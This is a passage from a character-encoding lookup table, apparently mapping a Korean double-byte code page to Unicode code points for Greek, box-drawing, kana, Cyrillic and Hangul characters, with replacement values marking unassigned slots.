0x03B2, 0x03B3, 0x03B4, 0x03B5, 0x03B6, 0x03B7, 0x03B8, 0x03B9, 0x03BA,
0x03BB, 0x03BC, 0x03BD, 0x03BE, 0x03BF, 0x03C0, 0x03C1, 0x03C3, 0x03C4,
0x03C5, 0x03C6, 0x03C7, 0x03C8, 0x03C9, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0x2500, 0x2502, 0x250C, 0x2510, 0x2518, 0x2514, 0x251C,
0x252C, 0x2524, 0x2534, 0x253C, 0x2501, 0x2503, 0x250F, 0x2513, 0x251B,
0x2517, 0x2523, 0x2533, 0x252B, 0x253B, 0x254B, 0x2520, 0x252F, 0x2528,
0x2537, 0x253F, 0x251D, 0x2530, 0x2525, 0x2538, 0x2542, 0x2512, 0x2511,
0x251A, 0x2519, 0x2516, 0x2515, 0x250E, 0x250D, 0x251E, 0x251F, 0x2521,
0x2522, 0x2526, 0x2527, 0x2529, 0x252A, 0x252D, 0x252E, 0x2531, 0x2532,
0x2535, 0x2536, 0x2539, 0x253A, 0x253D, 0x253E, 0x2540, 0x2541, 0x2543,
0x2544, 0x2545, 0x2546, 0x2547, 0x2548, 0x2549, 0x254A, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x3395, 0x3396, 0x3397,
0x2113, 0x3398, 0x33C4, 0x33A3, 0x33A4, 0x33A5, 0x33A6, 0x3399, 0x339A,
0x339B, 0x339C, 0x339D, 0x339E, 0x339F, 0x33A0, 0x33A1, 0x33A2, 0x33CA,
0x338D, 0x338E, 0x338F, 0x33CF, 0x3388, 0x3389, 0x33C8, 0x33A7, 0x33A8,
0x33B0, 0x33B1, 0x33B2, 0x33B3, 0x33B4, 0x33B5, 0x33B6, 0x33B7, 0x33B8,
0x33B9, 0x3380, 0x3381, 0x3382, 0x3383, 0x3384, 0x33BA, 0x33BB, 0x33BC,
0x33BD, 0x33BE, 0x33BF, 0x3390, 0x3391, 0x3392, 0x3393, 0x3394, 0x2126,
0x33C0, 0x33C1, 0x338A, 0x338B, 0x338C, 0x33D6, 0x33C5, 0x33AD, 0x33AE,
0x33AF, 0x33DB, 0x33A9, 0x33AA, 0x33AB, 0x33AC, 0x33DD, 0x33D0, 0x33D3,
0x33C3, 0x33C9, 0x33DC, 0x33C6, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0x00C6, 0x00D0, 0x00AA, 0x0126, 0xFFFD, 0x0132, 0xFFFD, 0x013F,
0x0141, 0x00D8, 0x0152, 0x00BA, 0x00DE, 0x0166, 0x014A, 0xFFFD, 0x3260,
0x3261, 0x3262, 0x3263, 0x3264, 0x3265, 0x3266, 0x3267, 0x3268, 0x3269,
0x326A, 0x326B, 0x326C, 0x326D, 0x326E, 0x326F, 0x3270, 0x3271, 0x3272,
0x3273, 0x3274, 0x3275, 0x3276, 0x3277, 0x3278, 0x3279, 0x327A, 0x327B,
0x24D0, 0x24D1, 0x24D2, 0x24D3, 0x24D4, 0x24D5, 0x24D6, 0x24D7, 0x24D8,
0x24D9, 0x24DA, 0x24DB, 0x24DC, 0x24DD, 0x24DE, 0x24DF, 0x24E0, 0x24E1,
0x24E2, 0x24E3, 0x24E4, 0x24E5, 0x24E6, 0x24E7, 0x24E8, 0x24E9, 0x2460,
0x2461, 0x2462, 0x2463, 0x2464, 0x2465, 0x2466, 0x2467, 0x2468, 0x2469,
0x246A, 0x246B, 0x246C, 0x246D, 0x246E, 0x00BD, 0x2153, 0x2154, 0x00BC,
0x00BE, 0x215B, 0x215C, 0x215D, 0x215E, 0x00E6, 0x0111, 0x00F0, 0x0127,
0x0131, 0x0133, 0x0138, 0x0140, 0x0142, 0x00F8, 0x0153, 0x00DF, 0x00FE,
0x0167, 0x014B, 0x0149, 0x3200, 0x3201, 0x3202, 0x3203, 0x3204, 0x3205,
0x3206, 0x3207, 0x3208, 0x3209, 0x320A, 0x320B, 0x320C, 0x320D, 0x320E,
0x320F, 0x3210, 0x3211, 0x3212, 0x3213, 0x3214, 0x3215, 0x3216, 0x3217,
0x3218, 0x3219, 0x321A, 0x321B, 0x249C, 0x249D, 0x249E, 0x249F, 0x24A0,
0x24A1, 0x24A2, 0x24A3, 0x24A4, 0x24A5, 0x24A6, 0x24A7, 0x24A8, 0x24A9,
0x24AA, 0x24AB, 0x24AC, 0x24AD, 0x24AE, 0x24AF, 0x24B0, 0x24B1, 0x24B2,
0x24B3, 0x24B4, 0x24B5, 0x2474, 0x2475, 0x2476, 0x2477, 0x2478, 0x2479,
0x247A, 0x247B, 0x247C, 0x247D, 0x247E, 0x247F, 0x2480, 0x2481, 0x2482,
0x00B9, 0x00B2, 0x00B3, 0x2074, 0x207F, 0x2081, 0x2082, 0x2083, 0x2084,
0x3041, 0x3042, 0x3043, 0x3044, 0x3045, 0x3046, 0x3047, 0x3048, 0x3049,
0x304A, 0x304B, 0x304C, 0x304D, 0x304E, 0x304F, 0x3050, 0x3051, 0x3052,
0x3053, 0x3054, 0x3055, 0x3056, 0x3057, 0x3058, 0x3059, 0x305A, 0x305B,
0x305C, 0x305D, 0x305E, 0x305F, 0x3060, 0x3061, 0x3062, 0x3063, 0x3064,
0x3065, 0x3066, 0x3067, 0x3068, 0x3069, 0x306A, 0x306B, 0x306C, 0x306D,
0x306E, 0x306F, 0x3070, 0x3071, 0x3072, 0x3073, 0x3074, 0x3075, 0x3076,
0x3077, 0x3078, 0x3079, 0x307A, 0x307B, 0x307C, 0x307D, 0x307E, 0x307F,
0x3080, 0x3081, 0x3082, 0x3083, 0x3084, 0x3085, 0x3086, 0x3087, 0x3088,
0x3089, 0x308A, 0x308B, 0x308C, 0x308D, 0x308E, 0x308F, 0x3090, 0x3091,
0x3092, 0x3093, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x30A1, 0x30A2, 0x30A3, 0x30A4, 0x30A5,
0x30A6, 0x30A7, 0x30A8, 0x30A9, 0x30AA, 0x30AB, 0x30AC, 0x30AD, 0x30AE,
0x30AF, 0x30B0, 0x30B1, 0x30B2, 0x30B3, 0x30B4, 0x30B5, 0x30B6, 0x30B7,
0x30B8, 0x30B9, 0x30BA, 0x30BB, 0x30BC, 0x30BD, 0x30BE, 0x30BF, 0x30C0,
0x30C1, 0x30C2, 0x30C3, 0x30C4, 0x30C5, 0x30C6, 0x30C7, 0x30C8, 0x30C9,
0x30CA, 0x30CB, 0x30CC, 0x30CD, 0x30CE, 0x30CF, 0x30D0, 0x30D1, 0x30D2,
0x30D3, 0x30D4, 0x30D5, 0x30D6, 0x30D7, 0x30D8, 0x30D9, 0x30DA, 0x30DB,
0x30DC, 0x30DD, 0x30DE, 0x30DF, 0x30E0, 0x30E1, 0x30E2, 0x30E3, 0x30E4,
0x30E5, 0x30E6, 0x30E7, 0x30E8, 0x30E9, 0x30EA, 0x30EB, 0x30EC, 0x30ED,
0x30EE, 0x30EF, 0x30F0, 0x30F1, 0x30F2, 0x30F3, 0x30F4, 0x30F5, 0x30F6,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x0410,
0x0411, 0x0412, 0x0413, 0x0414, 0x0415, 0x0401, 0x0416, 0x0417, 0x0418,
0x0419, 0x041A, 0x041B, 0x041C, 0x041D, 0x041E, 0x041F, 0x0420, 0x0421,
0x0422, 0x0423, 0x0424, 0x0425, 0x0426, 0x0427, 0x0428, 0x0429, 0x042A,
0x042B, 0x042C, 0x042D, 0x042E, 0x042F, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0x0430, 0x0431, 0x0432, 0x0433, 0x0434, 0x0435, 0x0451,
0x0436, 0x0437, 0x0438, 0x0439, 0x043A, 0x043B, 0x043C, 0x043D, 0x043E,
0x043F, 0x0440, 0x0441, 0x0442, 0x0443, 0x0444, 0x0445, 0x0446, 0x0447,
0x0448, 0x0449, 0x044A, 0x044B, 0x044C, 0x044D, 0x044E, 0x044F, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xAC00, 0xAC01, 0xAC04,
0xAC07, 0xAC08, 0xAC09, 0xAC0A, 0xAC10, 0xAC11, 0xAC12, 0xAC13, 0xAC14,
0xAC15, 0xAC16, 0xAC17, 0xAC19, 0xAC1A, 0xAC1B, 0xAC1C, 0xAC1D, 0xAC20,
0xAC24, 0xAC2C, 0xAC2D, 0xAC2F, 0xAC30, 0xAC31, 0xAC38, 0xAC39, 0xAC3C,
0xAC40, 0xAC4B, 0xAC4D, 0xAC54, 0xAC58, 0xAC5C, 0xAC70, 0xAC71, 0xAC74,
0xAC77, 0xAC78, 0xAC7A, 0xAC80, 0xAC81, 0xAC83, 0xAC84, 0xAC85, 0xAC86,
0xAC89, 0xAC8A, 0xAC8B, 0xAC8C, 0xAC90, 0xAC94, 0xAC9C, 0xAC9D, 0xAC9F,
0xACA0, 0xACA1, 0xACA8, 0xACA9, 0xACAA, 0xACAC, 0xACAF, 0xACB0, 0xACB8,
0xACB9, 0xACBB, 0xACBC, 0xACBD, 0xACC1, 0xACC4, 0xACC8, 0xACCC, 0xACD5,
0xACD7, 0xACE0, 0xACE1, 0xACE4, 0xACE7, 0xACE8, 0xACEA, 0xACEC, 0xACEF,
0xACF0, 0xACF1, 0xACF3, 0xACF5, 0xACF6, 0xACFC, 0xACFD, 0xAD00, 0xAD04,
0xAD06, 0xAD0C, 0xAD0D, 0xAD0F, 0xAD11, 0xAD18, 0xAD1C, 0xAD20, 0xAD29,
0xAD2C, 0xAD2D, 0xAD34, 0xAD35, 0xAD38, 0xAD3C, 0xAD44, 0xAD45, 0xAD47,
0xAD49, 0xAD50, 0xAD54, 0xAD58, 0xAD61, 0xAD63, 0xAD6C, 0xAD6D, 0xAD70,
0xAD73, 0xAD74, 0xAD75, 0xAD76, 0xAD7B, 0xAD7C, 0xAD7D, 0xAD7F, 0xAD81,
0xAD82, 0xAD88, 0xAD89, 0xAD8C, 0xAD90, 0xAD9C, 0xAD9D, 0xADA4, 0xADB7,
0xADC0, 0xADC1, 0xADC4, 0xADC8, 0xADD0, 0xADD1, 0xADD3, 0xADDC, 0xADE0,
0xADE4, 0xADF8, 0xADF9, 0xADFC, 0xADFF, 0xAE00, 0xAE01, 0xAE08, 0xAE09,
0xAE0B, 0xAE0D, 0xAE14, 0xAE30, 0xAE31, 0xAE34, 0xAE37, 0xAE38, 0xAE3A,
0xAE40, 0xAE41, 0xAE43, 0xAE45, 0xAE46, 0xAE4A, 0xAE4C, 0xAE4D, 0xAE4E,
0xAE50, 0xAE54, 0xAE56, 0xAE5C, 0xAE5D, 0xAE5F, 0xAE60, 0xAE61, 0xAE65,
0xAE68, 0xAE69, 0xAE6C, 0xAE70, 0xAE78, 0xAE79, 0xAE7B, 0xAE7C, 0xAE7D,
0xAE84, 0xAE85, 0xAE8C, 0xAEBC, 0xAEBD, 0xAEBE, 0xAEC0, 0xAEC4, 0xAECC,
0xAECD, 0xAECF, 0xAED0, 0xAED1, 0xAED8, 0xAED9, 0xAEDC, 0xAEE8, 0xAEEB,
0xAEED, 0xAEF4, 0xAEF8, 0xAEFC, 0xAF07, 0xAF08, 0xAF0D, 0xAF10, 0xAF2C,
0xAF2D, 0xAF30, 0xAF32, 0xAF34, 0xAF3C, 0xAF3D, 0xAF3F, 0xAF41, 0xAF42,
0xAF43, 0xAF48, 0xAF49, 0xAF50, 0xAF5C, 0xAF5D, 0xAF64, 0xAF65, 0xAF79,
0xAF80, 0xAF84, 0xAF88, 0xAF90, 0xAF91, 0xAF95, 0xAF9C, 0xAFB8, 0xAFB9,
0xAFBC, 0xAFC0, 0xAFC7, 0xAFC8, 0xAFC9, 0xAFCB, 0xAFCD, 0xAFCE, 0xAFD4,
0xAFDC, 0xAFE8, 0xAFE9, 0xAFF0, 0xAFF1, 0xAFF4, 0xAFF8, 0xB000, 0xB001,
0xB004, 0xB00C, 0xB010, 0xB014, 0xB01C, 0xB01D, 0xB028, 0xB044, 0xB045,
0xB048, 0xB04A, 0xB04C, 0xB04E, 0xB053, 0xB054, 0xB055, 0xB057, 0xB059,
0xB05D, 0xB07C, 0xB07D, 0xB080, 0xB084, 0xB08C, 0xB08D, 0xB08F, 0xB091,
0xB098, 0xB099, 0xB09A, 0xB09C, 0xB09F, 0xB0A0, 0xB0A1, 0xB0A2, 0xB0A8,
0xB0A9, 0xB0AB, 0xB0AC, 0xB0AD, 0xB0AE, 0xB0AF, 0xB0B1, 0xB0B3, 0xB0B4,
0xB0B5, 0xB0B8, 0xB0BC, 0xB0C4, 0xB0C5, 0xB0C7, 0xB0C8, 0xB0C9, 0xB0D0,
0xB0D1, 0xB0D4, 0xB0D8, 0xB0E0, 0xB0E5, 0xB108, 0xB109, 0xB10B, 0xB10C,
0xB110, 0xB112, 0xB113, 0xB118, 0xB119, 0xB11B, 0xB11C, 0xB11D, 0xB123,
0xB124, 0xB125, 0xB128, 0xB12C, 0xB134, 0xB135, 0xB137, 0xB138, 0xB139,
0xB140, 0xB141, 0xB144, 0xB148, 0xB150, 0xB151, 0xB154, 0xB155, 0xB158,
0xB15C, 0xB160, 0xB178, 0xB179, 0xB17C, 0xB180, 0xB182, 0xB188, 0xB189,
0xB18B, 0xB18D, 0xB192, 0xB193, 0xB194, 0xB198, 0xB19C, 0xB1A8, 0xB1CC,
0xB1D0, 0xB1D4, 0xB1DC, 0xB1DD, 0xB1DF, 0xB1E8, 0xB1E9, 0xB1EC, 0xB1F0,
0xB1F9, 0xB1FB, 0xB1FD, 0xB204, 0xB205, 0xB208, 0xB20B, 0xB20C, 0xB214,
0xB215, 0xB217, 0xB219, 0xB220, 0xB234, 0xB23C, 0xB258, 0xB25C, 0xB260,
0xB268, 0xB269, 0xB274, 0xB275, 0xB27C, 0xB284, 0xB285, 0xB289, 0xB290,
0xB291, 0xB294, 0xB298, 0xB299, 0xB29A, 0xB2A0, 0xB2A1, 0xB2A3, 0xB2A5,
0xB2A6, 0xB2AA, 0xB2AC, 0xB2B0, 0xB2B4, 0xB2C8, 0xB2C9, 0xB2CC, 0xB2D0,
0xB2D2, 0xB2D8, 0xB2D9, 0xB2DB, 0xB2DD, 0xB2E2, 0xB2E4, 0xB2E5, 0xB2E6,
0xB2E8, 0xB2EB, 0xB2EC, 0xB2ED, 0xB2EE, 0xB2EF, 0xB2F3, 0xB2F4, 0xB2F5,
0xB2F7, 0xB2F8, 0xB2F9, 0xB2FA, 0xB2FB, 0xB2FF, 0xB300, 0xB301, 0xB304,
0xB308, 0xB310, 0xB311, 0xB313, 0xB314, 0xB315, 0xB31C, 0xB354, 0xB355,
0xB356, 0xB358, 0xB35B, 0xB35C, 0xB35E, 0xB35F, 0xB364, 0xB365, 0xB367,
0xB369, 0xB36B, 0xB36E, 0xB370, 0xB371, 0xB374, 0xB378, 0xB380, 0xB381,
0xB383, 0xB384, 0xB385, 0xB38C, 0xB390, 0xB394, 0xB3A0, 0xB3A1, 0xB3A8,
0xB3AC, 0xB3C4, 0xB3C5, 0xB3C8, 0xB3CB, 0xB3CC, 0xB3CE, 0xB3D0, 0xB3D4,
0xB3D5, 0xB3D7, 0xB3D9, 0xB3DB, 0xB3DD, 0xB3E0, 0xB3E4, 0xB3E8, 0xB3FC,
0xB410, 0xB418, 0xB41C, 0xB420, 0xB428, 0xB429, 0xB42B, 0xB434, 0xB450,
0xB451, 0xB454, 0xB458, 0xB460, 0xB461, 0xB463, 0xB465, 0xB46C, 0xB480,
0xB488, 0xB49D, 0xB4A4, 0xB4A8, 0xB4AC, 0xB4B5, 0xB4B7, 0xB4B9, 0xB4C0,
0xB4C4, 0xB4C8, 0xB4D0, 0xB4D5, 0xB4DC, 0xB4DD, 0xB4E0, 0xB4E3, 0xB4E4,
0xB4E6, 0xB4EC, 0xB4ED, 0xB4EF, 0xB4F1, 0xB4F8, 0xB514, 0xB515, 0xB518,
0xB51B, 0xB51C, 0xB524, 0xB525, 0xB527, 0xB528, 0xB529, 0xB52A, 0xB530,
0xB531, 0xB534, 0xB538, 0xB540, 0xB541, 0xB543, 0xB544, 0xB545, 0xB54B,
0xB54C, 0xB54D, 0xB550, 0xB554, 0xB55C, 0xB55D, 0xB55F, 0xB560, 0xB561,
0xB5A0, 0xB5A1, 0xB5A4, 0xB5A8, 0xB5AA, 0xB5AB, 0xB5B0, 0xB5B1, 0xB5B3,
0xB5B4, 0xB5B5, 0xB5BB, 0xB5BC, 0xB5BD, 0xB5C0, 0xB5C4, 0xB5CC, 0xB5CD,
0xB5CF, 0xB5D0, 0xB5D1, 0xB5D8, 0xB5EC, 0xB610, 0xB611, 0xB614, 0xB618,
0xB625, 0xB62C, 0xB634, 0xB648, 0xB664, 0xB668, 0xB69C, 0xB69D, 0xB6A0,
0xB6A4, 0xB6AB, 0xB6AC, 0xB6B1, 0xB6D4, 0xB6F0, 0xB6F4, 0xB6F8, 0xB700,
0xB701, 0xB705, 0xB728, 0xB729, 0xB72C, 0xB72F, 0xB730, 0xB738, 0xB739,
0xB73B, 0xB744, 0xB748, 0xB74C, 0xB754, 0xB755, 0xB760, 0xB764, 0xB768,
0xB770, 0xB771, 0xB773, 0xB775, 0xB77C, 0xB77D, 0xB780, 0xB784, 0xB78C,
0xB78D, 0xB78F, 0xB790, 0xB791, 0xB792, 0xB796, 0xB797, 0xB798, 0xB799,
0xB79C, 0xB7A0, 0xB7A8, 0xB7A9, 0xB7AB, 0xB7AC, 0xB7AD, 0xB7B4, 0xB7B5,
0xB7B8, 0xB7C7, 0xB7C9, 0xB7EC, 0xB7ED, 0xB7F0, 0xB7F4, 0xB7FC, 0xB7FD,
0xB7FF, 0xB800, 0xB801, 0xB807, 0xB808, 0xB809, 0xB80C, 0xB810, 0xB818,
0xB819, 0xB81B, 0xB81D, 0xB824, 0xB825, 0xB828, 0xB82C, 0xB834, 0xB835,
0xB837, 0xB838, 0xB839, 0xB840, 0xB844, 0xB851, 0xB853, 0xB85C, 0xB85D,
0xB860, 0xB864, 0xB86C, 0xB86D, 0xB86F, 0xB871, 0xB878, 0xB87C, 0xB88D,
0xB8A8, 0xB8B0, 0xB8B4, 0xB8B8, 0xB8C0, 0xB8C1, 0xB8C3, 0xB8C5, 0xB8CC,
0xB8D0, 0xB8D4, 0xB8DD, 0xB8DF, 0xB8E1, 0xB8E8, 0xB8E9, 0xB8EC, 0xB8F0,
0xB8F8, 0xB8F9, 0xB8FB, 0xB8FD, 0xB904, 0xB918, 0xB920, 0xB93C, 0xB93D,
0xB940, 0xB944, 0xB94C, 0xB94F, 0xB951, 0xB958, 0xB959, 0xB95C, 0xB960,
0xB968, 0xB969, 0xB96B, 0xB96D, 0xB974, 0xB975, 0xB978, 0xB97C, 0xB984,
0xB985, 0xB987, 0xB989, 0xB98A, 0xB98D, 0xB98E, 0xB9AC, 0xB9AD, 0xB9B0,
0xB9B4, 0xB9BC, 0xB9BD, 0xB9BF, 0xB9C1, 0xB9C8, 0xB9C9, 0xB9CC, 0xB9CE,
0xB9CF, 0xB9D0, 0xB9D1, 0xB9D2, 0xB9D8, 0xB9D9, 0xB9DB, 0xB9DD, 0xB9DE,
0xB9E1, 0xB9E3, 0xB9E4, 0xB9E5, 0xB9E8, 0xB9EC, 0xB9F4, 0xB9F5, 0xB9F7,
0xB9F8, 0xB9F9, 0xB9FA, 0xBA00, 0xBA01, 0xBA08, 0xBA15, 0xBA38, 0xBA39,
0xBA3C, 0xBA40, 0xBA42, 0xBA48, 0xBA49, 0xBA4B, 0xBA4D, 0xBA4E, 0xBA53,
0xBA54, 0xBA55, 0xBA58, 0xBA5C, 0xBA64, 0xBA65, 0xBA67, 0xBA68, 0xBA69,
0xBA70, 0xBA71, 0xBA74, 0xBA78, 0xBA83, 0xBA84, 0xBA85, 0xBA87, 0xBA8C,
0xBAA8, 0xBAA9, 0xBAAB, 0xBAAC, 0xBAB0, 0xBAB2, 0xBAB8, 0xBAB9, 0xBABB,
0xBABD, 0xBAC4, 0xBAC8, 0xBAD8, 0xBAD9, 0xBAFC, 0xBB00, 0xBB04, 0xBB0D,
0xBB0F, 0xBB11, 0xBB18, 0xBB1C, 0xBB20, 0xBB29, 0xBB2B, 0xBB34, 0xBB35,
0xBB36, 0xBB38, 0xBB3B, 0xBB3C, 0xBB3D, 0xBB3E, 0xBB44, 0xBB45, 0xBB47,
0xBB49, 0xBB4D, 0xBB4F, 0xBB50, 0xBB54, 0xBB58, 0xBB61, 0xBB63, 0xBB6C,
0xBB88, 0xBB8C, 0xBB90, 0xBBA4, 0xBBA8, 0xBBAC, 0xBBB4, 0xBBB7, 0xBBC0,
0xBBC4, 0xBBC8, 0xBBD0, 0xBBD3, 0xBBF8, 0xBBF9, 0xBBFC, 0xBBFF, 0xBC00,
0xBC02, 0xBC08, 0xBC09, 0xBC0B, 0xBC0C, 0xBC0D, 0xBC0F, 0xBC11, 0xBC14,
0xBC15, 0xBC16, 0xBC17, 0xBC18, 0xBC1B, 0xBC1C, 0xBC1D, 0xBC1E, 0xBC1F,
0xBC24, 0xBC25, 0xBC27, 0xBC29, 0xBC2D, 0xBC30, 0xBC31, 0xBC34, 0xBC38,
0xBC40, 0xBC41, 0xBC43, 0xBC44, 0xBC45, 0xBC49, 0xBC4C, 0xBC4D, 0xBC50,
0xBC5D, 0xBC84, 0xBC85, 0xBC88, 0xBC8B, 0xBC8C, 0xBC8E, 0xBC94, 0xBC95,
0xBC97, 0xBC99, 0xBC9A, 0xBCA0, 0xBCA1, 0xBCA4, 0xBCA7, 0xBCA8, 0xBCB0,
0xBCB1, 0xBCB3, 0xBCB4, 0xBCB5, 0xBCBC, 0xBCBD, 0xBCC0, 0xBCC4, 0xBCCD,
0xBCCF, 0xBCD0, 0xBCD1, 0xBCD5, 0xBCD8, 0xBCDC, 0xBCF4, 0xBCF5, 0xBCF6,
0xBCF8, 0xBCFC, 0xBD04, 0xBD05, 0xBD07, 0xBD09, 0xBD10, 0xBD14, 0xBD24,
0xBD2C, 0xBD40, 0xBD48, 0xBD49, 0xBD4C, 0xBD50, 0xBD58, 0xBD59, 0xBD64,
0xBD68, 0xBD80, 0xBD81, 0xBD84, 0xBD87, 0xBD88, 0xBD89, 0xBD8A, 0xBD90,
0xBD91, 0xBD93, 0xBD95, 0xBD99, 0xBD9A, 0xBD9C, 0xBDA4, 0xBDB0, 0xBDB8,
0xBDD4, 0xBDD5, 0xBDD8, 0xBDDC, 0xBDE9, 0xBDF0, 0xBDF4, 0xBDF8, 0xBE00,
0xBE03, 0xBE05, 0xBE0C, 0xBE0D, 0xBE10, 0xBE14, 0xBE1C, 0xBE1D, 0xBE1F,
0xBE44, 0xBE45, 0xBE48, 0xBE4C, 0xBE4E, 0xBE54, 0xBE55, 0xBE57, 0xBE59,
0xBE5A, 0xBE5B, 0xBE60, 0xBE61, 0xBE64, 0xBE68, 0xBE6A, 0xBE70, 0xBE71,
0xBE73, 0xBE74, 0xBE75, 0xBE7B, 0xBE7C, 0xBE7D, 0xBE80, 0xBE84, 0xBE8C,
0xBE8D, 0xBE8F, 0xBE90, 0xBE91, 0xBE98, 0xBE99, 0xBEA8, 0xBED0, 0xBED1,
0xBED4, 0xBED7, 0xBED8, 0xBEE0, 0xBEE3, 0xBEE4, 0xBEE5, 0xBEEC, 0xBF01,
0xBF08, 0xBF09, 0xBF18, 0xBF19, 0xBF1B, 0xBF1C, 0xBF1D, 0xBF40, 0xBF41,
0xBF44, 0xBF48, 0xBF50, 0xBF51, 0xBF55, 0xBF94, 0xBFB0, 0xBFC5, 0xBFCC,
0xBFCD, 0xBFD0, 0xBFD4, 0xBFDC, 0xBFDF, 0xBFE1, 0xC03C, 0xC051, 0xC058,
0xC05C, 0xC060, 0xC068, 0xC069, 0xC090, 0xC091, 0xC094, 0xC098, 0xC0A0,
0xC0A1, 0xC0A3, 0xC0A5, 0xC0AC, 0xC0AD, 0xC0AF, 0xC0B0, 0xC0B3, 0xC0B4,
0xC0B5, 0xC0B6, 0xC0BC, 0xC0BD, 0xC0BF, 0xC0C0, 0xC0C1, 0xC0C5, 0xC0C8,
0xC0C9, 0xC0CC, 0xC0D0, 0xC0D8, 0xC0D9, 0xC0DB, 0xC0DC, 0xC0DD, 0xC0E4,
